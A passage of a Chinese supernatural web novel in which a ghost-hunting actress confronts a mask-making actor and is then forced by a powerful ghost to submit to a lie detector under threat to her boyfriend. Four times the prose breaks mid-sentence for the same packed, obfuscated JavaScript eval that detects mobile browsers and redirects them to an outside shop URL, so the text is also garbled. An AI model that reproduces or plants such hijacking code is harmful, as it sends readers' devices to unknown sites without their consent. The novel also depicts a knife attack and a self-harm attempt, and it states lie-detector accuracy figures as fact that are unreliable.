他话音刚落,左轻白怀中突然响起清脆悦耳的“嗡嗡”声。左轻白惊喜道:“弥月刃的刀柄有反应!这是弥月刃碎片!” 狐狸神给左轻白的弥月刃刀柄就藏在左轻白怀中,此刻刀柄自己跳了出来。 碎片看到刀柄像是孩子看到妈妈一样飞了过来,粘在刀柄上,再也不分开。 清脆悦耳的“嗡嗡”声一直不停,刀刃碎片回到刀柄上后,又亮了几分,寒光四射,像是活了过来。 归延拿出来的就是弥月刃刀刃的碎片,这片刀刃碎片提供了建造幻境城堡的能量,刀刃碎片回到刀柄上后,幻境城堡开始坍塌。玄逸说得没错,弥月刃确实在剧组,狐狸神说得也没错,要有刀柄才能找到刀刃。 左轻白心想:太好了,找到了第一块碎片,剩下的碎片还远吗?只要凑齐所有碎片,就可以用弥月刃杀死金绮月了! 左轻白满脸欢喜,归延则焦急地问:“可以把我的鬼奴还给我了吧?” 左轻白深深地看着了归延一眼,轻轻一笑,说:“不行哦。” 归延大惊失色:“你骗我!你这人……” 不等归延继续骂下去,左轻白突然抓住了归延的手臂,归延想挣脱,没想到左轻白力气奇大。左轻白用力一拽,硬生生把归延拽出了幻境城堡。 酒店,左轻白的房间。 左轻白暴力地把归延从卡片里拽了出来,扔在地上,归延摔了个屁股蹲儿。 左轻白把弥月刃收好,把卡片烧了,大剌剌地坐在床上,翘着个二郎腿,看着眼前的归延。 归延像看仇人一样看左轻白,脸上露出受伤的表情,说:“你骗我!” “是,我是骗了你。”左轻白大大方方地承认,“我师父教我的,捉鬼的时候不要讲原则,什么阴招都可以使。” 归延委屈地忍着泪水,说:“左小姐,我承认你神通广大,我不知道什么是捉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666949|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼,我也没你那么强大,但你强大,就可以心安理得地毁掉比你弱小的人的那一点点慰藉吗?” “你说的慰藉,就是鬼奴给你的那些虚假的爱?” “什么是真实什么是虚假?我只知道养了他们之后我过得好多了!我终于被爱了!” “你是人,首先你一个凡人之躯养鬼奴,对自己是有损耗的,你的寿命会变短,身体也会变差;另外,你养鬼奴,鬼奴要吃东西,你身上没有鬼气给它们吃,就只能偷周围人的精神气来喂它们,就像在幻境城堡里那样,不停地蛊惑我献出精神气,但偷人的精神气就是害人啊,人的精神气要是少了,就会变得虚弱。你这是害人害己。” 左轻白义正严辞,简直正的发邪。 归延坐在地上,悲伤道:“可是,没人爱我了。” “不要找鬼来爱你,你要找人。” “你能爱我吗?”归延突然抬起头来。 左轻白婉拒道:“我有男朋友。” 归延再一次露出幽怨的眼神,“你杀了爱我的鬼奴,却不肯代替他们来爱我?” 归延似乎无比悲愤,他看了看四周,这是个高级套房,桌上备有红酒瓶和高脚杯,归延毫不犹豫地抓起一个高脚杯,往地上一砸,一声尖锐的声音传来,高脚杯碎了。 高脚杯碎掉的地方形成了非常锋利的尖角,跟刀尖一样,归延拿起高脚杯,用尖角对准了自己的咽喉,狠狠地戳了下去! 左轻白大惊失色,连忙扑过来,及时阻止了归延。 “喂喂喂喂……”左轻白被他吓坏了,“你你你你……干嘛自残?” 左轻白解释道:“我有男朋友啊!我跟我男朋友感情稳定啊!你可以找别人嘛!” “那你把鬼奴还给我。”归延很固执。 “那是鬼奴,不能还的。”左轻白也很固执。 “只有它们爱我了。” “那也不能还。我是捉鬼师,收了它们是我的责任。责任你懂吗?” “那你来爱我。” “你他妈……”左轻白把脏话憋了回去,努力挤出一个微笑,对归延道:“不要这么一根筋,敞开心扉跟更多的人接触接触嘛。你看,就因为害怕伤害,你既不谈恋爱,又不交朋友,你这也太封闭了,这样怎么能得到爱嘛?” 左轻白自认为她劝得很好,然而归延却幽幽地说:“未经他人苦,莫劝他人善啊。” 归延的手抚上他的左脸,对左轻白说:“我跟你说过的,我现在脸上就戴着一个面具,想知道我为什么戴着面具,又为什么不想让你看到面具下的脸吗?” “为什么?”左轻白问。 归延苦笑了一下,他揭开了戴在他脸上的傩面具。 左轻白惊讶地张大了嘴。 面具下,归延的右脸依旧精致,左脸却毁容得厉害,密密麻麻全是刀伤。归延做面具的技术确实厉害,面具一戴,这些刀伤遮掩得严严实实。 归延把面具戴了回去。 “吓着你了吗?”归延问。 左轻白摇头。 “你经历过什么?”左轻白问。 78. 左轻白毛骨悚然 归延曾经有过朋友。 归延做面具的本事是一个少数民族老头教的,老头也是傩戏师。那时候归延跟着剧组进山拍电影,一去就去四个月,四个月不出山,老头是当地的少数民族,归延就是那次认识他的。 老头一看到归延,就激动地拽住归延,要求他跟自己学傩戏。老头说傩戏这本领不是谁都能学的,有天赋的人凤毛麟角,好不容易找到了一个有天赋的人,老头不能放过,不然等老头老了,傩戏就失传了。 归延跟老头解释自己是跟着剧组来的,最多在这里呆四个月,不会久呆,老头说没关系,四个月够领归延进门,剩下的,他会给一本手记让归延回去学习。 归延想着,多一门本领不是坏处,他当时也没想到老头教的傩戏不是普通的傩戏,这玩意居然这么神奇。 归延学会了傩戏,同时在剧组交了一个好朋友,对方也是演员,跟归延年纪相仿,没归延有名气,也没归延有演技,他叫宋渡。 归延好不容易有了一个朋友,他十分珍惜这个朋友,对宋渡有求必应。 宋渡跟归延借钱,归延不拒绝;宋渡让归延向导演和制片推荐他,归延也不拒绝;宋渡想让归延跟他共享资源,归延还是不拒绝。 不过导演和制片用不用宋渡这个事情,归延的推荐起不到决定性作用,宋渡这人没灵气,导演制片都看不上他。 再后来,宋渡知道了归延做面具的本领。 宋渡欣喜若狂,问归延:“这些神奇的面具,就是你演戏演这么好的原因吧?有这好东西你怎么不跟我说?” 归延连连摆手,说:“不是的,戏是我自己演的,没有借助这些面具,这些面具不能提高演技。” “你是怕我偷了你的面具,抢了你的饭碗吧?” “我没有……” “那你怎么不给我做面具?” “因为这些面具对提高演技没有用,不是戴了面具演技就变好了。” “你嘲讽我演技差?” “我不是这个意思……” “你是!” “宋渡你别生气,你要是真想要一个面具,我给你做就是了。”归延见宋渡生气了,语气立即软了下来,他只有这一个朋友,他很在乎宋渡,他不想看到宋渡不高兴。 宋渡一发怒,归延整个人都慌了;归延慌了,宋渡明显是看见了。宋渡知道归延在意他,所以才有恃无恐。 听到归延说愿意为自己做面具,宋渡才消了气。 宋渡准备去试镜一个角色,这个角色对宋渡来说非常重要,宋渡很想拿下这个角色,但这个角色的人设跟宋渡本身的性格相去甚远,演绎这个角色对宋渡来说有些难度,宋渡便让归延帮自己画一张面具。 “面具依然还是我的脸,但面具的神态、眼神、气质,都要符合剧本中对角色的描述。” 归延照做。 宋渡戴上了面具,自认为效果非常好。 但那场试镜宋渡最终还是失败了。宋渡把失败的气全撒到了归延身上。 “我都说了,那只是面具而已,对演技没有多大帮助。”归延对宋渡说。 “你胡说!肯定是你故意不把面具做好!” 刚刚经历打击的宋渡心里有股火急需发泄出去,他看到一旁有一把水果刀,怒火中烧的宋渡把归延摁倒在地,失去理智地拿起刀在归延脸上乱划,发泄怒火。 “你不是会做面具吗?做去吧!让我看看你给你自己做的面具是不是比给我做的好!”宋渡说。 —————————————— 听完归延脸上刀上的来历,左轻白坐在地上,问归延:“后来呢?后来你报警了没有?宋渡得到他应有的惩罚了吗?” 归延摇了摇头,“当时吧,我可能脑袋进了水,我居然想,他好歹是我唯一的朋友,我要是报了警,他一旦被抓,那他这个人不就毁了吗?我只有这么一份友谊啊。所以我没报警。不过没过多久,他跟别人吸.毒被抓,国家对这方面管得很严,一旦被抓到,那就是百分之百被封杀,宋渡被封杀了,人也确实毁了,我想反正他得到惩罚了,就懒得再计较了。” 左轻白把手放在膝盖上,脑袋枕在手上,对归延说:“你知不知道,其实宋渡不是不知道面具对提升演技压根没有用,做得再好都白费,但他依然把气撒在你身上,是因为他知道你只有他一个朋友,笃定你会因为害怕失去他而选择忍让,所以有恃无恐。” “我知道的。” “那你知不知道,他敢拿刀划你脸,也是一样的想法。” “我知道的。” “他很清楚他试戏失败不是你的责任,却偏偏找你来背锅,就是仗着你对他的忍让。” “我也知道的。” “你知道,你知道什么啊?” “我知道了,跟人交朋友、向人乞求爱是件很危险的事,不管想要什么爱,父爱、母爱、恋爱还是朋友之爱,找人还不如找鬼呢。”归延淡淡地说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683018|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左轻白凑近归延,盯着他看。 左轻白问:“你要因为几个烂人,而放弃所有人、放弃所有可能性吗?” 归延不说话。 左轻白又道:“这个世界不是只有你爸、你妈、宋渡三个人。” 归延把自己抱紧了。 到了第二天的时候,剧组的人发现,围在归延身边的那一群助理和保镖都不见了。 不是归延自愿让他们不见的,而是左轻白死活不肯把鬼奴还给归延。作为一个捉鬼师,左轻白立场坚定,鬼奴必须死。 没有了保镖和助理的重重包围,归延不得不直面剧组所有人。 归延很不适应,一个人缩在角落,不过剧组的人很热情,纷纷去跟归延打招呼,还分水果、零食给归延吃。 这个剧组的氛围非常好,大家都很友爱。其实剧组跟人一样,人有各种各样的性格,剧组也有各种各样的,有的剧组勾心斗角特别严重,有的搞什么剧组夫妻、花边新闻一堆烂事,但这些情况现在这个剧组全都没有,现在这个剧组干净,人与人之间的气氛很融洽。 在大家的带动下,归延慢慢地放下了戒心,跟大家正常相处。 “怎么样,以前被鬼奴保护得太严实,都不接触人,现在没有了保护,觉得跟人相处也没那么可怕吧?”左轻白对归延说道,“鬼奴再好,人始终还是要回归人群的。” 这部电影有一个角色迟迟没定下来,就是那个让主角心动的女孩。直到电影拍摄进程过半的时候,饰演这个女孩的人选才定下来。 由于保密工作做得太好,所以直到这个演员进组了,大家才知道她是谁。 某天早上,左轻白在组里看到了她的噩梦——金绮月。 没错,金绮月就是导演千挑万选定下来的人。 为了贴合这个角色,金绮月一改平日她喜欢穿红裙子的习惯,换上了小白裙和小白鞋,她长发披肩,剪着乖巧的齐刘海,精致的五官略显幼态,像个娃娃手办一样站在金色的阳光里,整个人纯洁而美好。 导演高兴得连连拍手叫好,说:“绮月往这一站,就给人初恋的感觉!这就是我想要的!” 一旁的左轻白在心里连连翻白眼,心想:我靠,她一个500年的老鬼,怎么就给你初恋的感觉了? 左轻白在那胡思乱想,忽然,阳光里的金绮月偏了偏头,一脸纯真地看向左轻白,并朝左轻白露出一个甜甜的微笑。 这个“甜甜”的微笑直接让左轻白毛骨悚然。 79. 你是谁 “噩梦”朝左轻白走来。 左轻白下意识地后退了一步。 金绮月大大方方走到左轻白面前,黑葡萄似的眼珠子骨碌一转,目光在左轻白脸上打量一圈。 “轻白姐姐。”金绮月笑咪咪地跟左轻白打招呼,“好久不见。” 最好不见。左轻白在心里说。 金绮月猛的凑近左轻白耳边,在左轻白耳边轻声说:“轻白姐姐的法力似乎提升不小,看来跟男朋友感情很好呢。” 左轻白“刷”的一下满脸通红。 助道者帮捉鬼师的方式就是这么……嗯……都懂的。 金绮月天真烂漫地嘻嘻笑道:“但是,我也变强了哟。” 金绮月亲昵地抓起左轻白的一缕头发,绕在手指上,在旁人看来这俩好像是感情很好的姐妹一样。 金绮月悄悄对左轻白说:“我最近吃了很多能量,我也变强了呢。” 金绮月的能量就是她创造的世间疾苦。 左轻白变强了,金绮月也变强了,金绮月仍然比左轻白厉害。弥月刃碎片还没凑齐,左轻白依旧拿金绮月没办法。 “你要杀我吗?”左轻白问。 “不杀。”金绮月露出甜甜的微笑,“我要跟轻白姐姐拍戏。这个剧本我看了,我很感兴趣,我想把它拍完。我很期待跟轻白姐姐合作呢。” 我不期待。左轻白在心里说。 “轻白姐姐,我们对一下剧本吧。”金绮月说。 金绮月是客串,她的戏份不多,跟左轻白的对手戏只有一个场景,很快就能对完。 “不用了,我俩对手戏又不多。”左轻白却说,她想离开金绮月身边。 然而金绮月却拉住左轻白,扁着嘴道:“不多,不代表没有。轻白姐姐,你这样传出去会被人说对戏不负责任的。如果我再添油加醋一两句,别人还以为你挤兑我呢。” 金绮月缠着左轻白,左轻白没办法,只好跟金绮月对剧本。 金绮月那个角色的人设是纯真善良的女孩,左轻白这个角色的人设是隐藏很深的变态杀人狂。左轻白嘀咕道:“让变态演好人,让好人演变态,真搞笑。” 而金绮月已经念起了剧本台词:“什么是好什么是坏,真的有界限吗?” 剧本中这两人的见面没有剑拔弩张,这个时候左轻白饰演的变态杀人狂还没黑化,金绮月只是个在图书馆外的草坪上坐着读书的女孩,两人在图书馆外偶遇,金绮月很无聊,左轻白很迷茫。 金绮月进入了状态,左轻白也念起了台词:“当然有了。” “什么叫坏人?”金绮月说。 “害了人的就叫坏人。” “你为什么第一反应是想到害人,你害过人?还是你想害人?” “我没害过人。” “谁能保证自己没害过人?呼吸空气的时候,算不算抢了别人的空气?这算不算害人?” “这么说太牵强,你不能按照自己的想法去看问题。” “为什么不能?是我随着这个世界而转,还是这个世界因我而生?我觉得是后者,你如何反驳?” “你没了,世界还在,这就是反驳。” “可我的世界也没了。” 对话戛然而止。 念完台词后,金绮月把左手食指放在下唇上思考问题,这个做作的动作偏偏她做出来就格外好看。 金绮月一边翻剧本一边说:“这个女孩有问题。” “有什么问题?”左轻白问,“她就是一个爱读书,脑子里稀奇古怪想法很多的哲学系学生啊。” “她跟杀人狂对话之前杀人狂还没黑化呢,她跟杀人狂对话之后,杀人狂怎么就黑化了?这里为什么要插这段对话?一定有作用,说不定编剧老师是在暗示,是这个女孩诱导了杀人狂犯罪。” 金绮月对待这份演员的工作一点都不敷衍,居然真的认真去读剧本,这还挺出乎左轻白意料的。 左轻白看着金绮月,金绮月仿佛能看穿左轻白的想法,解释道:“烂剧本我才懒得认真看,这次的剧本好我才认真的。” 金绮月又道:“这个女孩没有她表面上看起来那么善良美好,但编剧老师没有写明,或许编剧老师是想给观众留一个悬念,让观众自己去猜,有没有可能这个女孩才是最后主谋。” 左轻白露出一个被惊艳到了的表情,“那这个剧本可太棒了。” 金绮月凑近左轻白,似笑非笑地对左轻白说:“每个人都不可能是单一的好或单一的坏,每个人都有私心,比如轻白姐姐你,表面上看大公无私,正义无比,但你也有自私的时候。” 左轻白听不懂金绮月想表达什么,正巧导演叫人集合,左轻白赶忙跑了。 今天是进组以来最累的一天,因为今天要拍夜戏,由于出了点状况,导致收工时间往后延了不少,一直拍到了凌晨3点。 剧组里这种夜戏还不是最累的,最累的是拍大夜,就是通宵的意思,通宵达旦地拍摄,拍大夜一般是为了赶进度。 左轻白三点多钟回到酒店时已经很累了,倒头就睡。左轻白比较糙,有些女明星就很精致,就算工作到三四点也要坚持做面膜,左轻白不行,左轻白要睡觉。 拍这种夜戏最轻松的应该是金绮月,因为别人是人,人熬夜没有不困的,只有金绮月是鬼,鬼没有困这一说,相反,鬼最喜欢夜晚。 左轻白才睡了两个多小时,大概在五点多钟的时候,她就醒了,被热醒的。 左轻白一睁眼,一股火苗就朝她扑来,幸好左轻白反应快,马上从床上滚下来。 床上的被褥被火苗点燃,瞬间燃起大火。 “火灾?”左轻白第一反应是酒店发生了火灾,她想用手机打119,却发现手机没信号,电话打不出去。 就在这时,左轻白发现不对劲,房间里的火苗不是普通的火苗,火苗颜色偏蓝,像鬼火。 这是鬼弄出来的火苗。如果是普通的鬼弄出来的,左轻白一定能闻到或看到浓烈的鬼气,但左轻白没有看到鬼气。 为什么?答案只有一个——金绮月。 金绮月是神通鬼,她跟别的鬼不一样,只有她弄出来的鬼火才可能隐藏鬼气,正如她造出来的鬼奴人面蛇也能隐藏鬼气一样。 左轻白怒从中来,大喊一声:“金绮月!” 金绮月这个疯子!她在杀人!这个酒店住的全是剧组的人,她要烧死整个剧组的人! 这玩意不搞事情会死吗! 左轻白直接推开门,跑到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715101|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走廊里。 如果是真实的火灾,大楼起火,是不建议屋里的居民贸然打开门的,如果走廊、楼梯被烟火封锁,贸然开门的危险可能更大。 但现在不是一般火灾,这里的火不是真的火,而是金绮月弄出来的鬼火。 左轻白抽出一沓符纸,快速在上面画覆水符,她口中念念有词,覆水符变成了一个又一个水罩子,其中一个水罩子把左轻白全身罩住,水罩子能够隔绝鬼火,保护左轻白不受鬼火伤害,同时,另外的水罩子钻入各个房间,把其他正在熟睡的剧组成员也全都罩住,把他们保护起来。 左轻白打开一个房间门,果然,剧组成员一个比一个睡得死,鬼火烧得再大都没醒,不用说,一定是金绮月对他们施了鬼术。 水罩子会慢慢变薄,左轻白必须不停地念咒语,她一边念咒语一边找金绮月,最终在酒店天台上找到了金绮月。 金绮月换回了红色裙子,站在月夜下的天台上,像只红蝴蝶,仿佛风一吹就能飘摇飞走。 这只看似一吹就能吹跑的红蝴蝶,却是这里最强大的存在。 左轻白咬牙切齿地看着金绮月,左轻白的手中变幻出金色巨剑,她真想一剑劈死金绮月。 她不光这么想,也真这么做了。左轻白举起金色巨剑,冲了过去,朝金绮月的后背劈去! 金绮月淡然回头,只见她手里捧着一个水晶球,水晶球里可以看到另一个场景。 看到水晶球里的一幕后,左轻白突然住手了。 左轻白把金色巨剑放下。 左轻白从水晶球里看到的是路回,路回在他自己家的房间,躺在床上,紧闭双眼,跟酒店里那些剧组成员一样。在路回的床底下,一群鬼火跃跃欲试,想要烧上去,但被金绮月压住了。 左轻白死死盯着水晶球,心像被大手攥紧了。路回有危险,她现在想马上飞到路回身边去。 “想去找路回,是不是?”金绮月微笑道,她提醒左轻白:“但你最好不要离开这栋楼,我在变成鬼之前跟一群捉鬼师呆在一起过,捉鬼术的书也看过一点点,我隐隐约约记得,你用来保护剧组成员的这个覆水符啊,它不太稳定,下符的人一旦走远了,它的力量也就变弱了,它化成的水罩会很快变薄,最后完全消失。也就是说你一走,那些剧组成员就要命丧鬼火咯。” 左轻白狠狠地瞪着金绮月。 金绮月嘻嘻一笑,举起水晶球,说:“但是,你的恋人路回也处在危险之中,你必须赶到他身边。你现在一定很担心他,心里慌得不行,恨不得飞到他身边去;至于这些剧组成员,他们算个屁?他们哪有你爱的人重要?你现在是这样想的吧轻白姐姐?我今天就说了,你也有自私的时候。” “为什么逼我……”左轻白面露痛苦,满头大汗。 金绮月说得对,每个人都有私心,左轻白也是人,也不例外,她现在更挂记路回,心里的天平在往路回那边偏。 “轻白姐姐急了?唉,我本来不想为难你的,但又怕你跟我耍心眼,所以不得不用一些极端的方式来逼你。” “你想要什么?”左轻白声音都是颤抖的,甚至带上了恳求的语气,她想求金绮月放过路回。 “我想要一个答案。”金绮月说,“你是谁?” 80. 宁可错杀一千 “什么我是谁?”左轻白装不懂。 “你为什么知道鬼村?”金绮月问。 左轻白想起了玄逸的主意。 玄逸给左轻白出主意,如果金绮月问她为什么知道鬼村的事,就骗金绮月说她是鬼村里一只叫小若的鬼转世,玄逸还让左轻白背了原著作者新出的鬼村小若的番外,毕竟金绮月和小若都在鬼村,金绮月肯定认识小若,她一旦问起左轻白小若的事,左轻白如果答不出来,那不就露馅了? 冒充他人虽然有些无耻,但师父说了,捉鬼的时候不必讲原则。 于是左轻白组织好语言,说道:“你真想知道,那我就告诉你。我为什么知道鬼村?因为那是我转世前的家!” “转世?你在说什么?” “都说鬼不能转世,但不知道为什么,我成了例外。我不仅转世了,我甚至……甚至成了捉鬼师!” “你转世前是谁?” “我的记忆不算特别清晰,但我记得我转世前的名字叫小若,住在鬼村东头。” “小若姐姐?” “是我。” 金绮月没有轻信,而是继续盘问:“那你记得我吗?” “记得,你是村长家养的小女孩,住在村西头,爱穿红袄子。你很特别,那时我们都爱吃生食,只有你一吃就拉肚子。” “你家隔壁住的是谁?” “刘大婶,她绣花绣得可好了,我们一群女孩子最喜欢去围观她绣花。” “你还记得什么?” “那时候我是同龄女生里长得最好看的,村东头的阿大、村西头的阿宝、北边的小杜、南边的小五,每天都给我送东西。” “还有呢?” “你小时候喜欢追鸡玩,有次追到了我家门口,鸡不见了,坐在雪地里哇哇大哭,我把你抱进家里,哄了半天才哄好。” “还有呢?” “我还帮你找鸡,但你追的那只实在找不到了,我就捉了我家一只长得差不多的,骗你说它是你追的那只,你抱着它高高兴兴地回家去了,这事你到现在都不知道吧?” “阿宝哥哥跟小五哥哥不对付,为什么?” “因为阿宝家的鸡啄了小五养的狗的眼睛!” 金绮月又盘问了左轻白几个问题,左轻白对答如流。 金绮月认识小若,她们同村。那时候金绮月还是个小孩,小若正值妙龄,小若在村子里很受欢迎,金绮月对小若一口一个“小若姐姐”的叫。 左轻白把有关小若的问题都正确回答出来了,但她真的是小若吗? 金绮月盯着左轻白看。这个世界的左轻白是演员出身,异世界来的左轻白继承了原主的技能,演技很好。左轻白演得很好,金绮月在她身上找不到一丝撒谎的痕迹。 左轻白坚定地跟金绮月对视,心里暗暗感谢作者那篇有关小若的番外写得够详细。 金绮月显然没那么好骗,她没有着急相信,而是似笑非笑地对左轻白说:“你如果真是小若姐姐,那我俩可就亲了,我以前没少去你家玩。” 村子里互相串门是经常的事,小孩大人都爱串门,鬼村除了村民都是鬼和饮食习惯有些怪异之外,其他地方跟人类社会里的普通村庄一模一样。 左轻白看出金绮月对她没那么信任,说道:“你不信我?” 金绮月嗤笑道:“鬼不入轮回,这就好比人终究会死,你却说你是个例外,我敢信吗?” “或许真有长生不老的人,只是没被人发现呢?我知道我能转世这件事很不可思议,但就在舒家那两个捉鬼师屠村之后,我真的转世成功了,我也不知道怎么解释。”左轻白满口跑火车,不就是骗人吗,谁不会啊? 金绮月眼睛一眯,这人还知道舒家?知道得挺多啊。 金绮月悠悠地说:“你若真是小若姐姐,你前世是鬼,这一世怎么可能去做一个捉鬼师?” “就是因为前世是鬼,害过不少人,这一世好不容易有机会做人,我想弥补前世的罪孽,才会选择做捉鬼师。”左轻白诚挚地望向金绮月,这一望她把自己所有的演技都发挥出来了,这一幕没有导演在拍,真是错过一个经典镜头。 左轻白说:“那时你还小,又跟我们不一样,所以村长带我们吃人的时候都是避开你的。你知道吗,每一个风雪之中路过鬼村的旅人,都会被我们吃掉,直到舒家那两个人来了村子。我吃过人,我有罪。”左轻白捧着心说。 左轻白说得无比诚恳,眼神动作又演得相当到位,让人没法不相信她。 但怎么说金绮月都是一个活了500年的老鬼,金绮月还是不信,金绮月要验她一验。 “我要测试一下你是不是在说谎?”金绮月说。 “怎么测试?” 金绮月拍了拍手,地上钻出几个鬼奴,那些鬼奴长得奇形怪状,只有脑袋没有身体。鬼奴们用脑袋顶起一个测谎仪,把测谎仪放在天台上。 人心是世界上最难看透的东西,就算是鬼,也看透不了人心、猜透不了谎言。到目前为止,鬼判断别人是否撒谎的方法和手段跟人类是一样的,并没有高明太多。 人类发明了很多东西来测谎,包括测谎仪。看到测谎仪的那一瞬间,左轻白反而松了一口气,因为她知道测谎仪不准。 再精妙的仪器对谎言都不可能百分之百有效。测谎仪的准确率通常在35%到71%之间,达不到百分之百,就连在刑侦领域,测谎仪的结果都只能作为参考,而不能当成事实证据。 测谎仪的原理是通过检测人在说谎时引起的生理变化来判断是否说谎。左轻白心想,只要控制住自己的心率、呼吸,是有机会逃过测谎仪的检测的。虽然左轻白没有百分之百的把握,但至少她成功的几率不为零。 金绮月仿佛猜到了左轻白的想法,说:“轻白姐姐,你是不是在想,鬼的手段也就这样嘛,还不是只能用人用的方法来测谎?那确实,人狡猾,比鬼更甚,人心这东西,鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725365|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都看透不了。” 金绮月冲着左轻白笑了笑,又道:“你是不是还在想,测谎仪不准的,它的准确率达不到百分之百,测就测咯,说不定被你蒙混过关了呢,赌一赌咯。” “不过,我有我的办法。”金绮月走到左轻白跟前,用手点了点左轻白的心口,说:“要是在以前,轻白姐姐孤寡一人,我还真拿轻白姐姐没办法;但现在不一样了,轻白姐姐有牵挂了,有牵挂,就会被拿捏。” 金绮月拿出那个可以看到路回的水晶球,左轻白看到路回,呼吸一滞,心里瞬间慌了。 水晶球里,路回睡得像死了一样,床底下的鬼火拼命想往上窜,如果没有金绮月的压制,鬼火马上就会烧上来,烧死路回。 “就赌你敢不敢冒险吧。”金绮月说,“别存着就算说了谎依然有逃过测谎仪的几率,我让你不敢赌这个几率。” 金绮月手一挥,强制把左轻白固定在测谎仪上。她把水晶球放在左轻白面前,对左轻白说:“别抱着侥幸心理,我跟你玩的游戏是,一旦测谎仪发出锐鸣声,显示你在说谎,路回房间里的鬼火就会马上失控,在瞬间内把路回吞没,你来不及救他。” 金绮月阴着脸一笑,“你不敢存这个侥幸,你不敢拿你爱的人的命来跟我赌。” 左轻白大脑“嗡”了一下,霎时间一片空白。 左轻白本想反正测谎仪这种东西有一定几率能蒙混过关,不如赌上一赌,万一赌赢了,自己说了谎可测谎仪测不出,金绮月把自己的话当真了,那就皆大欢喜;万一赌输了,金绮月发现自己在骗她,恼羞成怒,那就大不了跟金绮月拼命咯,哪怕丢了性命,作为一个捉鬼师,跟神通鬼战死,也不丢人。 金绮月要是不把路回牵扯进来,左轻白孤身一人想怎么跟金绮月玩,就怎么跟金绮月玩,左轻白自己那一条命不怕拿来赌,因为捉鬼师这个职业本身就是有风险的,左轻白认为为了捉鬼事业而死那叫死得其所。 但现在不一样了,金绮月要左轻白赌的不是自己的命,而是路回的命,左轻白喜欢的人的命。 左轻白敢赌吗? 左轻白敢撒谎吗? 这个赌注太大,赌输了怎么办?左轻白舍得路回吗? 谁敢把在意的人放在赌桌上? 左轻白不敢赌。不敢赌那就老老实实在仪器打开之后说实话。 左轻白感到绝望。她终于知道了金绮月说的那句话是什么意思——“要是在以前,轻白姐姐孤寡一人,我还真拿轻白姐姐没办法;但现在不一样了,轻白姐姐有牵挂了,有牵挂,就会被拿捏。” 仪器还没打开呢,左轻白就已经手心出汗,这可怎么办? 左轻白强装镇定,问金绮月:“你也知道测谎仪不是百分之百准确,万一我说的是真话,测谎仪测出来却是谎话,那你不就冤枉我了吗?” “冤枉了没关系。”金绮月幽幽地说,她歪了歪头,笑道:“宁可错杀一千,不能放过一个。” 81. 它们是人 碎片一样的画面从左轻白脑中闪过。 她想起第一次见路回,那是一次不太愉快的经历,原主把自己搞得很狼狈,左轻白莫名其妙背了个黑锅。不过不愉快归不愉快,左轻白看到路回的第一反应是,这男人真好看啊,眼睛有福了。 她想起她跟路回还没确定恋爱关系的时候,有次路回去剧组探班,看到她跟肖恒走得近,气呼呼地跟左轻白说:“剧组很乱,女孩子要保护好自己,尤其要提防同组的男演员。”当时左轻白不懂,现在想起来,才知道路回在吃醋。 她想起那次纸人乌龙过后,因为自己被金绮月打了一鞭子,突然动弹不得,所以让路回帮忙看看肩膀怎么样了,路回少见的油腔滑调,对自己吻了又吻,虽然没做什么过分的事,但那一瞬间左轻白觉得自己的荷尔蒙被唤醒了,脑子晕头转向的,神经上仿佛跳跃着蓝色的小火花。那种心动的感觉,真美妙。 她想起那次做了奇怪的梦后,她思绪混乱,跑回房间坐了一宿,路回也在房门外陪她坐了一宿。 她想起自己与路回互相表明心意的那顿饭,她吃得很紧张,想去偷看路回,抬头一看,发现路回也在偷看自己。 她还想起自己与路回的旅行,两人心意相通,白天手牵着手闲逛,晚上在酒店拥抱、亲吻…… 左轻白越想越慌。 有了在意的人之后,理性的大脑就容易乱掉,像什么东西支零破碎了,人也会变得胆小、谨慎。 另一边,金绮月已经打开了仪器开关。 金绮月慢悠悠地问:“我问你,你刚才跟我说的那些话,是真话还是假话?三秒之内给我答案。”她等着左轻白的答案和测谎仪的结果。 “是假话!”左轻白大汗淋漓,大声说道,“刚才我骗你的,我不是什么小若的转世,我不是!我在撒谎!” 左轻白承认了她刚才说她是鬼村小若转世的那些话是假话。左轻白不敢不坦白。 